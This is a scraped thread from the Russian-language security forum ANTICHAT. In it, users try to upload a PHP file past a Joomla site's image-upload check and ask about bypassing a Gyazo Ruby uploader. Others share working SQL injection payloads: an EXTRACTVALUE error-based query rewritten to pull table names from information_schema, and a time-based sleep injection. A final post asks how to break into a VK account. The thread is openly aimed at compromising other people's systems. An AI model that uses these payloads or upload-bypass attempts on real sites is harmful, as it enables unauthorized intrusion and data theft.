ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

15.03.2018, 12:16
|
|
Guest
Сообщений: n/a
Провел на форуме: 54593
Репутация:
0
|
|
Как залить файл php на сервер? И возможно ли это?
Имеются исходники. Крутится на joomla 1.5
Могу дать ссылку если нужно.
Пытался самостоятельно через curl и charkes - выдает ошибку 1002 - то есть неправильный тип файлов. Пытался подменить. Да.
Если в той же Чарли ничего не редактировать, то отправляет на сайт без проблем.
.SpoilerTarget" type="button">Spoiler: share.php
Код:
Code:
setConfig($oConfig);
$sShareUrl = null;
$iResult = $oSharer->doShare($sShareUrl);
if ($iResult == 1) {
print $sBaseUrl . $sShareUrl;
} else {
print $sBaseUrl . '?ec=' . $iResult;
}
} else {
error_log('Sign is incorrect => iAuid:' . $iAuid . ' sSign:' . $sSign . ' sScriptUri:' . $sScriptUri);
print $sBaseUrl . '?ec=1001'; //подпись не совпадает
}
} else {
error_log('Some parameters are not set => iAuid:' . $iAuid . ' sSign:' . $sSign . ' Image:' . ($Image ? '+' : '-'));
print $sBaseUrl . '?ec=1000'; //пропущены обязательные параметры
}
.SpoilerTarget" type="button">Spoiler: share.class.php
Код:
Code:
auid = $auid;
$this->fileInfo = $fileInfo;
$this->previewInfo = $previewInfo;
$this->shareType = $shareType;
$this->sign = $sign;
}
/**
* @param $sFolder
*/
private function createFolder($sFolder)
{
if (!file_exists($sFolder)) {
mkdir($sFolder, 0777);
}
}
/**
* @return null|string
*/
private function createUserFolder()
{
if ($this->auid) {
$shareFolder = dirname(__FILE__) . '/../../' . $this->oConfig->shareFolderName;
$this->createFolder($shareFolder);
$shareFolder10000 = $shareFolder . (intval($this->auid/10000)) . '/';
$this->createFolder($shareFolder10000);
$shareFolder1000 = $shareFolder10000 . (intval($this->auid/1000)) . '/';
$this->createFolder($shareFolder1000);
$shareFolder100 = $shareFolder1000 . (intval($this->auid/100)) . '/';
$this->createFolder($shareFolder100);
$shareFolder1 = $shareFolder100 . (intval($this->auid)) . '/';
$this->createFolder($shareFolder1);
return $shareFolder1;
}
return null;
}
/**
* @return string
*/
public function getUserFolder()
{
return $this->oConfig->shareFolderName . intval($this->auid/10000) . '/' . intval($this->auid/1000)
. '/' . intval($this->auid/100) . '/' . intval($this->auid) . '/';
}
/**
* @param $oConfig
*/
public function setConfig($oConfig)
{
$this->oConfig = $oConfig;
$this->dbInfo = array(
'mysqlHost' => $this->oConfig->host,
'mysqlUser' => $this->oConfig->user,
'mysqlPassword' => $this->oConfig->password,
'mysqlDB' => $this->oConfig->db,
);
}
/**
* @param $auid
*/
public function setAuid($auid)
{
$this->auid = $auid;
}
/**
* @param $sResult
* @return int
*/
public function doShare(& $sResult)
{
$sUserFolder = $this->createUserFolder();
if (!$sUserFolder) return 1003; //ошибка при загрузке файла на сервер
$time = time();
// Заливаем основную картинку
$imageInfo = getimagesize($this->fileInfo['tmp_name']);
if (empty($imageInfo[0]) || empty($imageInfo[1])) return 1002; //неверный тип файла
if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла
$aExt = explode('/', $imageInfo['mime']);
$fileName = $time . '.' . $aExt[1];
$sDest = $sUserFolder . $fileName;
move_uploaded_file($this->fileInfo['tmp_name'], $sDest);
// Заливаем превью (если есть что)
$previewFileName = '';
if ($this->previewInfo) {
$imageInfo = getimagesize($this->previewInfo['tmp_name']);
if (empty($imageInfo[0]) || empty($imageInfo[1])) return 1002; //неверный тип файла
if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла
$aExt = explode('/', $imageInfo['mime']);
$previewFileName = $time . '-thumb.' . $aExt[1];
$sDest = $sUserFolder . $previewFileName;
move_uploaded_file($this->previewInfo['tmp_name'], $sDest);
}
// Сохраняем, формируем ответ, если ОК
$iResult = $this->save($fileName, $previewFileName);
if (!$iResult) return 1004;
$sResult = '?share='.$iResult;
return 1;
}
/**
* @param $fileName
* @param string $previewFileName
* @return mixed
*/
public function save($fileName, $previewFileName = '')
{
$oSQL = mysqlConnect::getInstance($this->dbInfo);
$oSQL->query('INSERT INTO tbl_share_info (auid, filename, preview_filename, sharedate) VALUES ('
. intval($this->auid) . ', "' . $fileName . '", "' . $previewFileName . '", NOW())');
return $oSQL->insert_id;
}
/**
* @param $id
* @return mixed
*/
public function get($id)
{
$oSQL = mysqlConnect::getInstance($this->dbInfo);
$oResult = $oSQL->query('SELECT * FROM tbl_share_info WHERE id=' . intval($id));
return $oResult->fetch_array();
}
/**
* @param $id
* @return int
*/
public function getPrev($id)
{
$oSQL = mysqlConnect::getInstance($this->dbInfo);
$oResult = $oSQL->query('SELECT MAX(id) as prev FROM tbl_share_info WHERE idfetch_array();
return intval($aRow['prev']);
}
/**
* @param $id
* @return int
*/
public function getNext($id)
{
$oSQL = mysqlConnect::getInstance($this->dbInfo);
$oResult = $oSQL->query('SELECT MIN(id) as next FROM tbl_share_info WHERE id>' . intval($id));
$aRow = $oResult->fetch_array();
return intval($aRow['next']);
}
/**
* @param $auid
* @return mixed
*/
public function checkUserScreens($auid)
{
$oSQL = mysqlConnect::getInstance($this->dbInfo);
$oResult = $oSQL->query('SELECT COUNT(*) AS iCnt FROM tbl_share_info WHERE auid=' . intval($auid));
$aRow = $oResult->fetch_assoc();
return $aRow['iCnt'];
}
/**
* @param $auid
* @return array
*/
public function getUserScreens($auid)
{
$oSQL = mysqlConnect::getInstance($this->dbInfo);
$oResult = $oSQL->query('SELECT * FROM tbl_share_info WHERE auid=' . intval($auid) . ' ORDER BY sharedate DESC');
$aResult = array();
while ($aRow = $oResult->fetch_assoc()) {
$aResult[] = $aRow;
}
return $aResult;
}
}
.SpoilerTarget" type="button">Spoiler: mysql.class.php
Код:
Code:
options(MYSQLI_OPT_CONNECT_TIMEOUT, 5);
if (!self::$oDbInstance[$sKey]->real_connect(
$connectionData['mysqlHost'],
$connectionData['mysqlUser'],
$connectionData['mysqlPassword'],
$connectionData['mysqlDB']
)) {
self::$oDbInstance[$sKey] = null;
} else {
self::$oDbInstance[$sKey]->set_charset('utf8');
}
}
return self::$oDbInstance[$sKey];
}
public function __destruct()
{
/*if (self::$oDbInstance) {
self::$oDbInstance->close();
self::$oDbInstance = null;
}*/
}
}
|
|
|
|

15.03.2018, 12:36
|
|
Guest
Сообщений: n/a
Провел на форуме: 169212
Репутация:
441
|
|
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]... private[/COLOR][COLOR="#0000BB"]$allowedMime[/COLOR][COLOR="#007700"]= array( [/COLOR][COLOR="#DD0000"]'image/png'[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'image/gif'[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'image/jpeg'[/COLOR][COLOR="#007700"], ); ... if (![/COLOR][COLOR="#0000BB"]in_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$imageInfo[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'mime'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]allowedMime[/COLOR][COLOR="#007700"])) return[/COLOR][COLOR="#0000BB"]1002[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]//неверный тип файла [/COLOR][COLOR="#0000BB"]$aExt[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$imageInfo[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'mime'[/COLOR][COLOR="#007700"]]); [/COLOR][COLOR="#0000BB"]$fileName[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$time[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'.'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$aExt[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]; [/COLOR][COLOR="#0000BB"]$sDest[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$sUserFolder[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$fileName[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]move_uploaded_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]fileInfo[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'tmp_name'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$sDest[/COLOR][COLOR="#007700"]); ... [/COLOR][/COLOR]
Расширение сохраняемого файла является частью $imageInfo['mime'], который, ранее, проверяется по белому списку. Поэтому загрузить файл с произвольным расширением не получится.
|
|
|
|

20.03.2018, 17:44
|
|
Guest
Сообщений: n/a
Провел на форуме: 54593
Репутация:
0
|
|
Ничего не понимаю в Руби, но ситуация аналогична?
Скрипт gyazo
Файл без каких либо проверок на внутреннюю часть загружается на файл, но сохраняется только в png?
Код:
Code:
File.open("data/#{hash}.png","w").print(imagedata)
Есть ли возможность обойти параметр и сохранить файл в расширении php?(Через Чарли например)
Код:
Code:
#!/usr/bin/env ruby
# -*- ruby -*-
#
# $Date$
# $Rev$
#
require 'cgi'
require 'digest/md5'
require 'sdbm'
cgi = CGI.new("html3")
id = cgi.params['id'][0].read
imagedata = cgi.params['imagedata'][0].read
hash = Digest::MD5.hexdigest(imagedata)
create_newid = false
if not id or id == "" then
id = Digest::MD5.hexdigest(cgi.remote_addr + Time.now.to_s)
create_newid = true
end
dbm = SDBM.open('db/id',0644)
dbm[hash] = id
dbm.close
File.open("data/#{hash}.png","w").print(imagedata)
headers = {}
if create_newid then
headers = {"X-Gyazo-Id"=>id}
end
cgi.out(headers){"http://gyazo.com/#{hash}.png"}
|
|
|
|

20.03.2018, 21:38
|
|
Guest
Сообщений: n/a
Провел на форуме: 8405
Репутация:
7
|
|
|
|
|
|

30.03.2018, 03:35
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме: 5290740
Репутация:
912
|
|
парни, подскажите как этот запрос переделать, чтобы вывести инфу из нужной таблицы с условием where ?
Код:
Code:
id=1+AND+EXTRACTVALUE(22,CONCAT(0x5c,version(),(SELECT+(ELT(1=1,1))),database()))--+1
|
|
|

30.03.2018, 04:40
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
Провел на форуме: 11937
Репутация:
0
|
|
Сообщение от .:[melkiy
:."]
.:[melkiy]:. said:
↑
парни, подскажите как этот запрос переделать, чтобы вывести инфу из нужной таблицы с условием where ?
Код:
Code:
id=1+AND+EXTRACTVALUE(22,CONCAT(0x5c,version(),(SELECT+(ELT(1=1,1))),database()))--+1
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]+AND+[/COLOR][COLOR="#0000BB"]EXTRACTVALUE[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]22[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CONCAT[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0x5c[/COLOR][COLOR="#007700"],([/COLOR][COLOR="#0000BB"]select[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]table_name[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]from[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]information_schema[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]tables[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]where[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]table_schema[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'information_schema'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]limit[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])))--+[/COLOR][COLOR="#0000BB"]1[/COLOR][/COLOR]
XPATH-Error-Based-Injection-Extractvalue
|
|
|

31.03.2018, 18:03
|
|
Guest
Сообщений: n/a
Провел на форуме: 238786
Репутация:
40
|
|
самый очевидный
+and+if(substring(@@version,1,1)=5,sleep(2224),nul l)
С выводом нету вектора, возможно в дальнейшем будет.
|
|
|
|

31.03.2018, 19:45
|
|
Guest
Сообщений: n/a
Провел на форуме: 238786
Репутация:
40
|
|
в чём проблема то?
|
|
|
|

31.03.2018, 20:02
|
|
Guest
Сообщений: n/a
Провел на форуме: 238786
Репутация:
40
|
|
Я не пробовал, но я не вижу препятствий. Обычная временная инъекция.
|
|
|
|

07.04.2018, 18:24
|
|
Guest
Сообщений: n/a
Провел на форуме: 4086
Репутация:
0
|
|
как аккаунт вк открыть?
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|